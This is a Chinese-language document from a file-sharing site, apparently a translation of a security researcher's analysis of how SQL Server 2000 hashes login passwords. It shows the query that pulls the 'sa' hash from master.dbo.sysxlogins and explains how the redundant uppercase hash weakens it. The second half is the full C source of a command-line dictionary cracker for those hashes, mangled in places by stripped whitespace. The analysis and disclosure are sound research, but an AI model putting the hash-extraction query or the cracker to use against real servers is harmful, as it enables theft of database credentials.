SQL服务器是怎样储存密码的.docx
《SQL服务器是怎样储存密码的.docx》由会员分享,可在线阅读,更多相关《SQL服务器是怎样储存密码的.docx(12页珍藏版)》请在冰点文库上搜索。
SQL服务器是怎样储存密码的
SQL服务器是怎样储存密码的?
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。
通过研究我们可以发
现这个hash储存在mater数据库的sysxlogins表里面。
这个可能已经是众所周知的事情了。
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql
服务器储存hash的这种方法的一些不足之处。
实际上,等下我将会说‘密码hashes’。
(allyesno:
后
文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)
SQL的密码hash看起来是怎样的呢?
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:
selectpasswordfrommaster.dbo.sysxloginswherename='sa'
屏幕会返回类似下面这行字符串的东东。
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA
954AFF4057056D9B
这是我机子上登录密码的hash。
通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?
1.时间
首先我们使用查询selectpwdencrypt()来生成hash
selectpwdencrypt('ph4nt0m')
生成hash
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D
4B8279BA19EFE77
ok再一次selectpwdencrypt('ph4nt0m')
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB85
4FB343F3DBB106CFB
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。
那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,
它是创建密码hashes和储存hashes的重要因素。
之所以使用这样的方式,
是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。
2.大小写
使用查询
selectpwdencrypt('ALLYESNO')
我们将得到hash
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来
看。
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
现在我们可以看出来最后两组字符串是一模一样的了。
这说明这段密码被相同的加密方式进行了两次加密。
一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。
当有人尝试破解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。
因为破解密码的人不需要理会字符原型是大写还是小写,他们只需要破解大写字符就可以了。
这将大大减少了破解密码者所需要破解密码的字符数量。
(allyesno:
flashsky的文章《浅谈SQLSERVER数据库口令的脆弱性》中曾经提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和符号的口令”。
实际上并不如flashsky所说的完全相同,我们使用了selectpwdencrypt()进行加密以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug)
补充key
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密
码的hashes不相同,这些信息是很容易获取的。
当我们登录的时候依靠从登录密码中和数据库中储
存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。
上文中我们获取的hash中,补充key4C61CD2D就是这个信息的一部分。
这个key4C61CD2D由以下阐述的方法生成。
time()C函数被调用作为一个种子传递给srand()函数。
一旦srand()函数被作为rand()函数的种子
并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。
然后sql
服务器会将这个key截断取一部分,放置在内存里面。
我们叫它key1。
这个过程将会再运行一次并
生成另一个key我们叫他key2。
两个key连在一起就生成了我们用来加密密码的补充key。
密码的散列法
用户的密码会被转换成UNICODE形式。
补充key会添加到他们后面。
例如以下所示:
{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。
生
成两个hash
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
验证过程
用户登录SQL服务器的验证过程是这样子的:
当用户登陆的时候,SQL服务器在数据库中调用上面例
子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加
密。
然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。
SQL服务器密码破解
我们可以使用同样的方式去破解SQL的密码。
当然我们会首先选择使用大写字母和符号做为字典进行
破解,这比猜测小写字母要来得容易。
一个命令行的MSSQL服务器HASH破解工具源代码
/////////////////////////////////////////////////////////////////////////////////
//
//SQLCrackCl
//
//Thiswillperformadictionaryattackagainstthe
//upper-casedhashforapassword.Oncethis
//hasbeendiscoveredtryallcasevarianttowork
//outthecasesensitivepassword.
//
//ThiscodewaswrittenbyDavidLitchfieldto
//demonstratehowMicrosoftSQLServer2000
//passwordscanbeattacked.Thiscanbe
//optimizedconsiderablybynotusingtheCryptoAPI.
//
//(CompilewithVC++andlinkwithadvapi32.lib
//EnsurethePlatformSDKhasbeeninstalled,too!
)
//
//////////////////////////////////////////////////////////////////////////////////
#include
#include
#include
FILE*fd=NULL;
char*lerr="\nLengthError!
\n";
intwd=0;
intOpenPasswordFile(char*pwdfile);
intCrackPassword(char*hash);
intmain(intargc,char*argv[])
{
interr=0;
if(argc!
=3)
{
printf("\n\n***SQLCrack***\n\n");
printf("C:
\>%shashpasswd-file\n\n",argv[0]);
printf("DavidLitchfield(david@)\n");
printf("24thJune2002\n");
return0;
}
err=OpenPasswordFile(argv[2]);
if(err!
=0)
{
returnprintf("\nTherewasanerroropeningthepasswordfile%s\n",argv[2]);
}
err=CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return0;
}
intOpenPasswordFile(char*pwdfile)
{
fd=fopen(pwdfile,"r");
if(fd)
return0;
else
return1;
}
intCrackPassword(char*hash)
{
charphash[100]="";
charpheader[8]="";
charpkey[12]="";
charpnorm[44]="";
charpucase[44]="";
charpucfirst[8]="";
charwttf[44]="";
charuwttf[100]="";
char*wp=NULL;
char*ptr=NULL;
intcnt=0;
intcount=0;
unsignedintkey=0;
unsignedintt=0;
unsignedintaddress=0;
unsignedcharcmp=0;
unsignedcharx=0;
HCRYPTPROVhProv=0;
HCRYPTHASHhHash;
DWORDhl=100;
unsignedcharszhash[100]="";
intlen=0;
if(strlen(hash)!
=94)
{
returnprintf("\nThepasswordhashistooshort!
\n");
}
if(hash[0]==0x30&&(hash[1]=='x'||hash[1]=='X'))
{
hash=hash+2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t:
%s",pheader);
if(strlen(pheader)!
=4)
returnprintf("%s",lerr);
hash=hash+4;
strncpy(pkey,hash,8);
printf("\nRandkey\t:
%s",pkey);
if(strlen(pkey)!
=8)
returnprintf("%s",lerr);
hash=hash+8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t:
%s",pnorm);
if(strlen(pnorm)!
=40)
returnprintf("%s",lerr);
hash=hash+40;
strncpy(pucase,hash,40);
printf("\nUpperCase\t:
%s",pucase);
if(strlen(pucase)!
=40)
returnprintf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
returnprintf("Thepasswordhashhasaninvalidformat!
\n");
}
printf("\n\nTrying...\n");
if(!
CryptAcquireContextW(&hProv,NULL,NULL,PROV_RSA_FULL,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
//KeySetdoesnotexist.Socreateanewkeyset
if(!
CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
{
printf("FAILLLLLLL!
!
!
");
returnFALSE;
}
}
}
while
(1)
{
//getawordtotryfromthefile
ZeroMemory(wttf,44);
if(!
fgets(wttf,40,fd))
returnprintf("\nEndofpasswordfile.Didn'tfindthepassword.\n");
wd++;
len=strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
//ConvertthewordtoUNICODE
while(count{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len--;
wp=&uwttf;
sscanf(pkey,"%x",&key);
cnt=cnt-2;
//Appendtherandomstufftotheendof
//theuppercaseunicodepassword
t=key>>24;
x=(unsignedchar)t;
uwttf[cnt]=x;
cnt++;
t=key<<8;
t=t>>24;
x=(unsignedchar)t;
uwttf[cnt]=x;
cnt++;
t=key<<16;
t=t>>24;
x=(unsignedchar)t;
uwttf[cnt]=x;
cnt++;
t=key<<24;
t=t>>24;
x=(unsignedchar)t;
uwttf[cnt]=x;
cnt++;
//Createthehash
if(!
CryptCreateHash(hProv,CALG_SHA,0,0,&hHash))
{
printf("Error%xduringCryptCreatHash!
\n",GetLastError());
return0;
}
if(!
CryptHashData(hHash,(BYTE*)uwttf,len*2+4,0))
{
printf("Error%xduringCryptHashData!
\n",GetLastError());
returnFALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
//Testthefirstbyteonly.Muchquicker.
if(szhash[0]==cmp)
{
//Iffirstbytematchestrytherest
ptr=pucase;
cnt=1;
while(cnt<20)
{
ptr=ptr+2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt++;
else
{
break;
}
}
if(cnt==20)
{
//We'vefoundthepassword
printf("\nAMATCH!
!
!
Passwordis%s\n",wttf);
return0;
}
}
count=0;
cnt=0;
}
return0;
}